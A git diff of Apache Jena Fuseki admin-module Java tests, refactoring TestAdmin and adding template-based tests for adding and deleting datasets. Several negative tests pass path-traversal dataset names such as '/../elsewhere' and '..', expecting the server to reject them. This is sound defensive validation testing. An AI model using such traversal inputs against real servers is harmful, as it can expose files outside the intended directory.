+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Objects;
 import java.util.concurrent.TimeUnit;
 
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeAll;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-
-import org.apache.commons.lang3.SystemUtils;
-import org.apache.jena.atlas.io.IO;
-import org.apache.jena.atlas.json.JSON;
 import org.apache.jena.atlas.json.JsonArray;
 import org.apache.jena.atlas.json.JsonObject;
 import org.apache.jena.atlas.json.JsonValue;
-import org.apache.jena.atlas.lib.FileOps;
 import org.apache.jena.atlas.lib.Lib;
-import org.apache.jena.atlas.logging.LogCtl;
 import org.apache.jena.atlas.web.HttpException;
-import org.apache.jena.atlas.web.TypedInputStream;
-import org.apache.jena.fuseki.Fuseki;
-import org.apache.jena.fuseki.ctl.ActionSleep;
-import org.apache.jena.fuseki.ctl.JsonConstCtl;
-import org.apache.jena.fuseki.main.FusekiServer;
-import org.apache.jena.fuseki.main.sys.FusekiModules;
-import org.apache.jena.fuseki.mgt.FusekiServerCtl;
 import org.apache.jena.fuseki.mgt.ServerMgtConst;
 import org.apache.jena.fuseki.server.ServerConst;
-import org.apache.jena.fuseki.system.FusekiLogging;
 import org.apache.jena.fuseki.test.HttpTest;
-import org.apache.jena.riot.WebContent;
-import org.apache.jena.sparql.core.DatasetGraph;
-import org.apache.jena.sparql.core.DatasetGraphFactory;
 import org.apache.jena.web.HttpSC;
-import org.awaitility.Awaitility;
+import org.junit.jupiter.api.Test;
 
 /**
- *  Tests of the admin functionality using a pre-configured dataset
- *  {@link TestTemplateAddDataset}.
+ *  Tests of the admin functionality using a pre-configured dataset.
+ *  This class does not test adding and deleting of datasets.
  */
-public class TestAdmin {
-
-    // Name of the dataset in the assembler file.
-    static String dsTest      = "test-ds1";
-    static String dsTestInf   = "test-ds4";
-
-    // There are two Fuseki-TDB2 tests: add_delete_dataset_6() and compact_01().
-    //
-    // On certain build systems (GH action/Linux under load, ASF Jenkins sometimes),
-    // add_delete_dataset_6 fails (transactions active), or compact_01 (gets a 404),
-    // if the two databases are the same.
-    static String dsTestTdb2a = "test-tdb2a";
-    static String dsTestTdb2b = "test-tdb2b";
-    static String fileBase    = "testing/Config/";
-
-    private String serverURL = null;
-    private FusekiServer server = null;
-
-    @BeforeAll public static void logging() {
-        FusekiLogging.setLogging();
-    }
-
-    @BeforeEach public void startServer() {
-        System.setProperty("FUSEKI_BASE", "target/run");
-        FileOps.clearAll("target/run");
-
-        server = createServerForTest();
-        serverURL = server.serverURL();
-        //String adminURL = server.serverURL()+"$";
-        //AuthEnv.get().registerUsernamePassword(adminURL, "admin","pw");
-    }
-
-    // Exactly the module under test
-    private static FusekiModules moduleSetup() {
-        return FusekiModules.create(FMod_Admin.create());
-    }
-
-    private FusekiServer createServerForTest() {
-        FusekiModules modules = moduleSetup();
-        DatasetGraph dsg = DatasetGraphFactory.createTxnMem();
-        FusekiServer testServer = FusekiServer.create()
-                .fusekiModules(modules)
-                .port(0)
-                .add(datasetName(), dsg)
-                .addServlet("/$/sleep/*", new ActionSleep())
-                .build()
-                .start();
-        return testServer;
-    }
-
-    @AfterEach public void stopServer() {
-        if ( server != null )
-            server.stop();
-        serverURL = null;
-        FusekiServerCtl.clearUpSystemState();
-    }
-
-    protected String urlRoot() {
-        return serverURL;
-    }
-
-    protected String datasetName() {
-        return "dataset";
-    }
-
-    protected String datasetPath() {
-        return "/"+datasetName();
-    }
-
-    @BeforeEach public void setLogging() {
-        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
-        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
-        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
-        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
-    }
-
-    @AfterEach public void unsetLogging() {
-        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
-        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
-    }
+public class TestAdmin extends FusekiServerPerTestClass {
 
     // --- Ping
 
@@ -178,286 +76,13 @@ protected String datasetPath() {
         httpPost(urlRoot()+"$/"+opServer);
     }
 
-    // --- List all datasets
-
-    @Test public void list_datasets_1() {
-        try ( TypedInputStream in = httpGet(urlRoot()+"$/"+opDatasets); ) {
-            IO.skipToEnd(in);
-        }
-    }
-
-    @Test public void list_datasets_2() {
-        try ( TypedInputStream in = httpGet(urlRoot()+"$/"+opDatasets) ) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            JsonValue v = JSON.parseAny(in);
-            assertNotNull(v.getAsObject().get("datasets"));
-            checkJsonDatasetsAll(v);
-        }
-    }
-
-    // Specific dataset
-    @Test public void list_datasets_3() {
-        checkExists(datasetName());
-    }
-
-    // Specific dataset
-    @Test public void list_datasets_4() {
-        HttpTest.expect404( () -> getDatasetDescription("does-not-exist") );
-    }
-
-    // Specific dataset
-    @Test public void list_datasets_5() {
-        JsonValue v = getDatasetDescription(datasetName());
-        checkJsonDatasetsOne(v.getAsObject());
-    }
-
-    // Specific dataset
-    @Test public void add_delete_dataset_1() {
-        checkNotThere(dsTest);
-
-        addTestDataset();
-
-        // Check exists.
-        checkExists(dsTest);
-
-        // Remove it.
-        deleteDataset(dsTest);
-        checkNotThere(dsTest);
-    }
-
-    // Try to add twice
-    @Test public void add_delete_dataset_2() {
-        checkNotThere(dsTest);
-
-        try {
-            Path f = Path.of(fileBase+"config-ds-plain-1.ttl");
-            httpPost(urlRoot()+"$/"+opDatasets,
-                     WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
-                     BodyPublishers.ofFile(f));
-            // Check exists.
-            checkExists(dsTest);
-            // Try again.
-            try {
-                httpPost(urlRoot()+"$/"+opDatasets,
-                         WebContent.contentTypeTurtle+"; charset="+WebContent.charsetUTF8,
-                         BodyPublishers.ofFile(f));
-            } catch (HttpException ex) {
-                assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
-            }
-        } catch (IOException ex) { IO.exception(ex); return; }
-
-        // Check exists.
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void add_delete_dataset_3() {
-        checkNotThere(dsTest);
-        addTestDataset();
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-        checkNotThere(dsTest);
-        addTestDataset();
-        checkExists(dsTest);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void add_delete_dataset_4() {
-        checkNotThere(dsTest);
-        checkNotThere(dsTestInf);
-        addTestDatasetInf();
-        checkNotThere(dsTest);
-        checkExists(dsTestInf);
-
-        deleteDataset(dsTestInf);
-        checkNotThere(dsTestInf);
-        addTestDatasetInf();
-        checkExists(dsTestInf);
-        deleteDataset(dsTestInf);
-    }
-
-    @Test public void add_delete_dataset_5() {
-        // New style operations : cause two fuseki:names
-        addTestDataset(fileBase+"config-ds-plain-2.ttl");
-        checkExists("test-ds2");
-    }
-
-    @Test public void add_delete_dataset_6() {
-        String testDB = dsTestTdb2a;
-        assumeNotWindows();
-
-        checkNotThere(testDB);
-
-        addTestDatasetTDB2(testDB);
-
-        // Check exists.
-        checkExists(testDB);
-
-        // Remove it.
-        deleteDataset(testDB);
-        checkNotThere(testDB);
-    }
-
-    @Test public void add_error_1() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-1.ttl"));
-    }
-
-    @Test public void add_error_2() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-2.ttl"));
-    }
-
-    @Test public void add_error_3() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-3.ttl"));
-    }
-
-    @Test public void add_error_4() {
-        HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
-                                         ()-> addTestDataset(fileBase+"config-ds-bad-name-4.ttl"));
-    }
-
-    @Test public void delete_dataset_1() {
-        String name = "NoSuchDataset";
-        HttpTest.expect404( ()-> httpDelete(urlRoot()+"$/"+opDatasets+"/"+name) );
-    }
-
-    // ---- Backup
-
-    @Test public void create_backup_1() {
-        String id = null;
-        try {
-            JsonValue v = httpPostRtnJSON(urlRoot() + "$/" + opBackup + "/" + datasetName());
-            id = v.getAsObject().getString("taskId");
-        } finally {
-            waitForTasksToFinish(1000, 10, 20000);
-        }
-        assertNotNull(id);
-        checkInTasks(id);
-
-        // Check a backup was created
-        try ( TypedInputStream in = httpGet(urlRoot()+"$/"+opListBackups) ) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            JsonValue v = JSON.parseAny(in);
-            assertNotNull(v.getAsObject().get("backups"));
-            JsonArray a = v.getAsObject().get("backups").getAsArray();
-            assertEquals(1, a.size());
-        }
-
-        JsonValue task = getTask(id);
-        assertNotNull(id);
-        // Expect task success
-        assertTrue(task.getAsObject().getBoolean(JsonConstCtl.success), "Expected task to be marked as successful");
-    }
-
-    @Test
-    public void create_backup_2() {
-        HttpTest.expect400(()->{
-            JsonValue v = httpPostRtnJSON(urlRoot() + "$/" + opBackup + "/noSuchDataset");
-        });
-    }
-
-    @Test public void list_backups_1() {
-        try ( TypedInputStream in = httpGet(urlRoot()+"$/"+opListBackups) ) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            JsonValue v = JSON.parseAny(in);
-            assertNotNull(v.getAsObject().get("backups"));
-        }
-    }
-
-    // ---- Compact
-
-    @Test public void compact_01() {
-        assumeNotWindows();
-
-        String testDB = dsTestTdb2b;
-        try {
-            checkNotThere(testDB);
-            addTestDatasetTDB2(testDB);
-            checkExists(testDB);
-
-            String id = null;
-            try {
-                JsonValue v = httpPostRtnJSON(urlRoot() + "$/" + opCompact + "/" + testDB);
-                id = v.getAsObject().getString(JsonConstCtl.taskId);
-            } finally {
-                waitForTasksToFinish(1000, 500, 20_000);
-            }
-            assertNotNull(id);
-            checkInTasks(id);
-
-            JsonValue task = getTask(id);
-            // ----
-            // The result assertion is throwing NPE occasionally on some heavily loaded CI servers.
-            // This may be because of server or test code encountering a very long wait.
-            // These next statements check the assumed structure of the return.
-            assertNotNull(task, "Task value");
-            JsonObject obj = task.getAsObject();
-            assertNotNull(obj, "Task.getAsObject()");
-            // Provoke code to get a stacktrace.
-            obj.getBoolean(JsonConstCtl.success);
-            // ----
-            // The assertion we really wanted to check.
-            // Check task success
-            assertTrue(task.getAsObject().getBoolean(JsonConstCtl.success),
-                       "Expected task to be marked as successful");
-        } finally {
-            deleteDataset(testDB);
-        }
-    }
-
-    @Test public void compact_02() {
-        HttpTest.expect400(()->{
-            JsonValue v = httpPostRtnJSON(urlRoot() + "$/" + opCompact + "/noSuchDataset");
-        });
-    }
-
-    private void assumeNotWindows() {
-        assumeFalse(SystemUtils.IS_OS_WINDOWS, "Test may be unstable on Windows due to inability to delete memory-mapped files");
-    }
-
-    // ---- Server
-
-    // ---- Stats
-
-    @Test public void stats_1() {
-        JsonValue v = execGetJSON(urlRoot()+"$/"+opStats);
-        checkJsonStatsAll(v);
-    }
-
-    @Test public void stats_2() {
-        addTestDataset();
-        JsonValue v = execGetJSON(urlRoot()+"$/"+opStats+datasetPath());
-        checkJsonStatsAll(v);
-        deleteDataset(dsTest);
-    }
-
-    @Test public void stats_3() {
-        addTestDataset();
-        HttpTest.expect404(()-> execGetJSON(urlRoot()+"$/"+opStats+"/DoesNotExist"));
-        deleteDataset(dsTest);
-    }
-
-    @Test public void stats_4() {
-        JsonValue v = execPostJSON(urlRoot()+"$/"+opStats);
-        checkJsonStatsAll(v);
-    }
-
-    @Test public void stats_5() {
-        addTestDataset();
-        JsonValue v = execPostJSON(urlRoot()+"$/"+opStats+datasetPath());
-        checkJsonStatsAll(v);
-        deleteDataset(dsTest);
-    }
-
     @Test public void sleep_1() {
-        String x = execSleepTask(null, 1);
+        String x = execSleepTask(1);
     }
 
     @Test public void sleep_2() {
         try {
-            String x = execSleepTask(null, -1);
+            String x = execSleepTask(-1);
             fail("Sleep call unexpectedly succeed");
         } catch (HttpException ex) {
             assertEquals(400, ex.getStatusCode());
@@ -466,7 +91,7 @@ private void assumeNotWindows() {
 
     @Test public void sleep_3() {
         try {
-            String x = execSleepTask(null, 20*1000+1);
+            String x = execSleepTask(20*1000+1);
             fail("Sleep call unexpectedly succeed");
         } catch (HttpException ex) {
             assertEquals(400, ex.getStatusCode());
@@ -476,7 +101,7 @@ private void assumeNotWindows() {
     // Async task testing
 
     @Test public void task_1() {
-        String x = execSleepTask(null, 10);
+        String x = execSleepTask(10);
         assertNotNull(x);
         Integer.parseInt(x);
     }
@@ -495,7 +120,7 @@ private void assumeNotWindows() {
     @Test public void task_3() {
         // Timing dependent.
         // Create a "long" running task so we can find it.
-        String x = execSleepTask(null, 100);
+        String x = execSleepTask(100);
         checkTask(x);
         checkInTasks(x);
         assertNotNull(x);
@@ -505,7 +130,7 @@ private void assumeNotWindows() {
     @Test public void task_4() {
         // Timing dependent.
         // Create a "short" running task
-        String x = execSleepTask(null, 1);
+        String x = execSleepTask(1);
         // Check exists in the list of all tasks (should be "finished")
         checkInTasks(x);
         String url = urlRoot()+"$/tasks/"+x;
@@ -527,31 +152,31 @@ private void assumeNotWindows() {
 
     @Test public void task_5() {
         // Short running task - still in info API call.
-        String x = execSleepTask(null, 1);
+        String x = execSleepTask(1);
         checkInTasks(x);
     }
 
     @Test public void task_6() {
-        String x1 = execSleepTask(null, 1000);
-        String x2 = execSleepTask(null, 1000);
+        String x1 = execSleepTask(1000);
+        String x2 = execSleepTask(1000);
         await().timeout(500,TimeUnit.MILLISECONDS).until(() -> runningTasks().size() > 1);
         await().timeout(2000, TimeUnit.MILLISECONDS).until(() -> runningTasks().isEmpty());
     }
 
     @Test public void task_7() {
         try {
-            String x1 = execSleepTask(null, 1000);
-            String x2 = execSleepTask(null, 1000);
-            String x3 = execSleepTask(null, 1000);
-            String x4 = execSleepTask(null, 1000);
+            String x1 = execSleepTask(1000);
+            String x2 = execSleepTask(1000);
+            String x3 = execSleepTask(1000);
+            String x4 = execSleepTask(1000);
             try {
                 // Try to make test more stable on a loaded CI server.
                 // Unloaded the first sleep will fail but due to slowness/burstiness
                 // some tasks above may have completed.
-                String x5 = execSleepTask(null, 4000);
-                String x6 = execSleepTask(null, 4000);
-                String x7 = execSleepTask(null, 4000);
-                String x8 = execSleepTask(null, 10);
+                String x5 = execSleepTask(4000);
+                String x6 = execSleepTask(4000);
+                String x7 = execSleepTask(4000);
+                String x8 = execSleepTask(10);
                 fail("Managed to add a 5th test");
             } catch (HttpException ex) {
                 assertEquals(HttpSC.BAD_REQUEST_400, ex.getStatusCode());
@@ -561,77 +186,8 @@ private void assumeNotWindows() {
         }
     }
 
-    /** Expect two string to be non-null and be {@link String#equalsIgnoreCase} */
-    private void assertEqualsIgnoreCase(String expected, String actual) {
-        if ( expected == null && actual == null )
-            return;
-        if ( expected == null || actual == null )
-            fail("Expected: "+expected+" Got: "+actual);
-        if ( ! expected.equalsIgnoreCase(actual) )
-            fail("Expected: "+expected+" Got: "+actual);
-    }
-
-    private JsonValue getTask(String taskId) {
-        String url = urlRoot()+"$/tasks/"+taskId;
-        return httpGetJson(url);
-    }
-
-    private JsonValue getDatasetDescription(String dsName) {
-        if ( dsName.startsWith("/") )
-            dsName = dsName.substring(1);
-        try (TypedInputStream in = httpGet(urlRoot() + "$/" + opDatasets + "/" + dsName)) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            JsonValue v = JSON.parse(in);
-            return v;
-        }
-    }
-
-    // -- Add
-
-    private void addTestDataset() {
-        addTestDataset(fileBase+"config-ds-plain-1.ttl");
-    }
-
-    private void addTestDatasetInf() {
-        addTestDataset(fileBase+"config-ds-inf.ttl");
-    }
-
-    private void addTestDatasetTDB2(String DBname) {
-        Objects.nonNull(DBname);
-        if ( DBname.equals(dsTestTdb2a) ) {
-            addTestDataset(fileBase+"config-tdb2a.ttl");
-            return;
-        }
-        if ( DBname.equals(dsTestTdb2b) ) {
-            addTestDataset(fileBase+"config-tdb2b.ttl");
-            return;
-        }
-        throw new IllegalArgumentException("No configuration for "+DBname);
-    }
-
-    private void addTestDataset(String filename) {
-        try {
-            Path f = Path.of(filename);
-            BodyPublisher body = BodyPublishers.ofFile(f);
-            String ct = WebContent.contentTypeTurtle;
-            httpPost(urlRoot()+"$/"+opDatasets, ct, body);
-        } catch (FileNotFoundException e) {
-            IO.exception(e);
-        }
-    }
-
-    private void deleteDataset(String name) {
-        httpDelete(urlRoot()+"$/"+opDatasets+"/"+name);
-    }
-
-    private String execSleepTask(String name, int millis) {
+    private String execSleepTask(int millis) {
         String url = urlRoot()+"$/sleep";
-        if ( name != null ) {
-            if ( name.startsWith("/") )
-                name = name.substring(1);
-            url = url + "/"+name;
-        }
-
         JsonValue v = httpPostRtnJSON(url+"?interval="+millis);
         String id = v.getAsObject().getString("taskId");
         return id;
@@ -727,114 +283,5 @@ private boolean isRunning(JsonObject taskObj) {
        checkTask(taskObj);
        return taskObj.hasKey("started") &&  ! taskObj.hasKey("finished");
    }
-
-    private void askPing(String name) {
-        if ( name.startsWith("/") )
-            name = name.substring(1);
-        try ( TypedInputStream in = httpGet(urlRoot()+name+"/sparql?query=ASK%7B%7D") ) {
-            IO.skipToEnd(in);
-        }
-    }
-
-    private void adminPing(String name) {
-        try ( TypedInputStream in = httpGet(urlRoot()+"$/"+opDatasets+"/"+name) ) {
-            IO.skipToEnd(in);
-        }
-    }
-
-    private void checkExists(String name)  {
-        adminPing(name);
-        askPing(name);
-    }
-
-    private void checkExistsNotActive(String name)  {
-        adminPing(name);
-        try { askPing(name);
-            fail("askPing did not cause an Http Exception");
-        } catch ( HttpException ex ) {}
-        JsonValue v = getDatasetDescription(name);
-        assertFalse(v.getAsObject().get("ds.state").getAsBoolean().value());
-    }
-
-    private void checkNotThere(String name) {
-        String n = (name.startsWith("/")) ? name.substring(1) : name;
-        // Check gone exists.
-        HttpTest.expect404(()->  adminPing(n) );
-        HttpTest.expect404(() -> askPing(n) );
-    }
-
-    private void checkJsonDatasetsAll(JsonValue v) {
-        assertNotNull(v.getAsObject().get("datasets"));
-        JsonArray a = v.getAsObject().get("datasets").getAsArray();
-        for ( JsonValue v2 : a )
-            checkJsonDatasetsOne(v2);
-    }
-
-    private void checkJsonDatasetsOne(JsonValue v) {
-        assertTrue(v.isObject());
-        JsonObject obj = v.getAsObject();
-        assertNotNull(obj.get("ds.name"));
-        assertNotNull(obj.get("ds.services"));
-        assertNotNull(obj.get("ds.state"));
-        assertTrue(obj.get("ds.services").isArray());
-    }
-
-    private void checkJsonStatsAll(JsonValue v) {
-        assertNotNull(v.getAsObject().get("datasets"));
-        JsonObject a = v.getAsObject().get("datasets").getAsObject();
-        for ( String dsname : a.keys() ) {
-            JsonValue obj = a.get(dsname).getAsObject();
-            checkJsonStatsOne(obj);
-        }
-    }
-
-    private void checkJsonStatsOne(JsonValue v) {
-        checkJsonStatsCounters(v);
-        JsonObject obj1 = v.getAsObject().get("endpoints").getAsObject();
-        for ( String srvName : obj1.keys() ) {
-            JsonObject obj2 = obj1.get(srvName).getAsObject();
-            assertTrue(obj2.hasKey("description"));
-            assertTrue(obj2.hasKey("operation"));
-            checkJsonStatsCounters(obj2);
-        }
-    }
-
-    private void checkJsonStatsCounters(JsonValue v) {
-        JsonObject obj = v.getAsObject();
-        assertTrue(obj.hasKey("Requests"));
-        assertTrue(obj.hasKey("RequestsGood"));
-        assertTrue(obj.hasKey("RequestsBad"));
-    }
-
-    private JsonValue execGetJSON(String url) {
-        try ( TypedInputStream in = httpGet(url) ) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            return JSON.parse(in);
-        }
-    }
-
-    private JsonValue execPostJSON(String url) {
-        try ( TypedInputStream in = httpPostStream(url, null, null, null) ) {
-            assertEqualsIgnoreCase(WebContent.contentTypeJSON, in.getContentType());
-            return JSON.parse(in);
-        }
-    }
-
-    /*
-        GET     /$/ping
-        POST    /$/ping
-        POST    /$/datasets/
-        GET     /$/datasets/
-        DELETE  /$/datasets/*{name}*
-        GET     /$/datasets/*{name}*
-        POST    /$/datasets/*{name}*?state=offline
-        POST    /$/datasets/*{name}*?state=active
-        POST    /$/backup/*{name}*
-        POST    /$/compact/*{name}*
-        GET     /$/server
-        POST    /$/server/shutdown
-        GET     /$/stats/
-        GET     /$/stats/*{name}*
-     */
 }
 
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetTemplate.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetTemplate.java
new file mode 100644
index 00000000000..a566dd9995c
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetTemplate.java
@@ -0,0 +1,241 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.http.HttpOp.httpPost;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+import org.apache.jena.atlas.io.IOX;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.atlas.web.HttpException;
+import org.apache.jena.atlas.web.TypedInputStream;
+import org.apache.jena.base.Sys;
+import org.apache.jena.fuseki.Fuseki;
+import org.apache.jena.fuseki.main.FusekiTestLib;
+import org.apache.jena.fuseki.mgt.FusekiServerCtl;
+import org.apache.jena.http.HttpOp;
+import org.apache.jena.query.QueryExecution;
+import org.apache.jena.rdfconnection.RDFConnection;
+import org.apache.jena.riot.WebContent;
+import org.apache.jena.sparql.exec.http.Params;
+import org.apache.jena.web.HttpSC;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+/**
+ * Tests of the admin functionality on an empty server and using the template mechanism.
+ * See also {@link TestAdmin}.
+ */
+public class TestAdminAddDatasetTemplate extends FusekiServerPerTestClass {
+
+    @BeforeAll public static void loggingAdmin() {
+        LogCtl.setLevel(Fuseki.adminLogName, "ERROR");
+    }
+
+    @AfterAll public static void resetLoggingAdmin() {
+        LogCtl.setLevel(Fuseki.adminLogName, "ERROR");
+    }
+
+    @Test public void add_dataset_01() {
+        testAddDataset("db_1");
+    }
+
+    @Test public void add_dataset_02() {
+        testAddDataset( "/db_2");
+    }
+
+    @Test public void add_dataset_bad_01() {
+        String dbName = "db_bad_01";
+        testAddDataset(dbName);
+        // This should fail.
+        FusekiTestLib.expect409(()->testAddDataset(dbName));
+    }
+
+    @Test public void add_dataset_bad_02() {
+        badAddDataserverRequest("bad_2 illegal");
+    }
+
+    @Test public void add_dataset_bad_03() {
+        badAddDataserverRequest("bad_3/path");
+    }
+
+    @Test public void add_dataset_bad_04() {
+        badAddDataserverRequest("");
+    }
+
+    @Test public void add_dataset_bad_05() {
+        badAddDataserverRequest("   ");
+    }
+
+    @Test public void add_dataset_bad_06() {
+        badAddDataserverRequest("bad_6_AB CD");
+    }
+
+    @Test public void add_dataset_bad_07() {
+        badAddDataserverRequest("..");
+    }
+
+    @Test public void add_dataset_bad_08() {
+        badAddDataserverRequest("/..");
+    }
+
+    @Test public void add_dataset_bad_09() {
+        badAddDataserverRequest("/../elsewhere");
+    }
+
+    @Test public void add_dataset_bad_10() {
+        badAddDataserverRequest("//bad_10");
+    }
+
+    //@Test 
+    public void noOverwriteExistingConfigFile() {
+        withServer(server->{
+            try {
+                var workingDir = Paths.get(serverArea()).toAbsolutePath();
+                var path = workingDir.resolve("configuration/test-ds0-empty.ttl");
+                var dbConfig = path.toFile();
+                dbConfig.createNewFile();
+                try {
+                    // refresh the file system so that the file exists
+                    dbConfig = path.toFile();
+                    assertTrue (dbConfig.exists());
+                    assertEquals(0, dbConfig.length());
+
+                    // Try to override the file with a new configuration.
+                    String ct = WebContent.contentTypeHTMLForm;
+                    String body = "dbName=test-ds0-empty&dbType=mem";
+                    HttpException ex = assertThrows(org.apache.jena.atlas.web.HttpException.class,
+                                                    ()-> httpPost(server.serverURL() + "$/" + opDatasets, ct, body));
+                    assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
+                    // refresh the file system
+                    dbConfig = path.toFile();
+                    assertTrue(dbConfig.exists());
+                    assertEquals(0, dbConfig.length(), "File should be still empty");
+                }
+                finally {
+                    // Clean up the file.
+                    if (Files.exists(path)) {
+                        Files.delete(path);
+                    }
+                }
+            } catch (IOException ex) { throw IOX.exception(ex); }
+        });
+    }
+
+    // add-delete
+
+    @Test public void add_delete_mem_1() {
+        testAddDeleteAdd("db_add_delete_1", "mem", false, false);
+    }
+
+    @Test public void add_delete_tdb_1() {
+        if ( Sys.isWindows  )
+            return;
+        testAddDeleteAdd("db_add_delete_tdb_1", "tdb2", false, true);
+    }
+
+    @Test public void add_delete_tdb_2() {
+        if ( Sys.isWindows  )
+            return;
+        String dbName = "db_add_delete_tdb_2";
+        testAddDeleteAdd(dbName, "tdb2", false, true);
+    }
+
+    // Attempt to add a in-memory dataset. Used to test the name checking.
+    private void testAddDataset(String dbName) {
+        withServer(server->{
+            String datasetURL = server.datasetURL(dbName);
+            Params params = Params.create().add("dbName", dbName).add("dbType", "mem");
+            // Use the template
+            HttpOp.httpPostForm(adminURL()+"datasets", params);
+            assertTrue(exists(datasetURL));
+        });
+    }
+
+    private void testAddDeleteAdd(String dbName, String dbType, boolean alreadyExists, boolean hasFiles) {
+        withServer(server->{
+            String datasetURL = server.datasetURL(dbName);
+            Params params = Params.create().add("dbName", dbName).add("dbType", dbType);
+
+            if ( alreadyExists )
+                assertTrue(exists(datasetURL));
+            else
+                assertFalse(exists(datasetURL));
+
+            // Use the template
+            HttpOp.httpPostForm(adminURL()+"datasets", params);
+
+            RDFConnection conn = RDFConnection.connect(server.datasetURL(dbName));
+            conn.update("INSERT DATA { <x:s> <x:p> 123 }");
+            int x1 = count(conn);
+            assertEquals(1, x1);
+
+            Path pathDB = FusekiServerCtl.dirDatabases.resolve(dbName);
+
+            if ( hasFiles )
+                assertTrue(Files.exists(pathDB));
+
+            HttpOp.httpDelete(adminURL()+"datasets/"+dbName);
+
+            assertFalse(exists(datasetURL));
+
+            //if ( hasFiles )
+                assertFalse(Files.exists(pathDB));
+
+            // Recreate : no contents.
+            HttpOp.httpPostForm(adminURL()+"datasets", params);
+            assertTrue(exists(datasetURL), ()->"false: exists("+datasetURL+")");
+            int x2 = count(conn);
+            assertEquals(0, x2);
+            if ( hasFiles )
+                assertTrue(Files.exists(pathDB));
+        });
+    }
+
+    private void badAddDataserverRequest(String dbName) {
+        FusekiTestLib.expect400(()->testAddDataset(dbName));
+    }
+
+    private static boolean exists(String url) {
+        try ( TypedInputStream in = HttpOp.httpGet(url) ) {
+            return true;
+        } catch (HttpException ex) {
+            if ( ex.getStatusCode() == HttpSC.NOT_FOUND_404 )
+                return false;
+            throw ex;
+        }
+    }
+
+    static int count(RDFConnection conn) {
+        try ( QueryExecution qExec = conn.query("SELECT (count(*) AS ?C) { ?s ?p ?o }")) {
+            return qExec.execSelect().next().getLiteral("C").getInt();
+        }
+    }
+}
+
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetsConfigFile.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetsConfigFile.java
new file mode 100644
index 00000000000..9096ccee930
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminAddDatasetsConfigFile.java
@@ -0,0 +1,318 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.http.HttpOp.httpDelete;
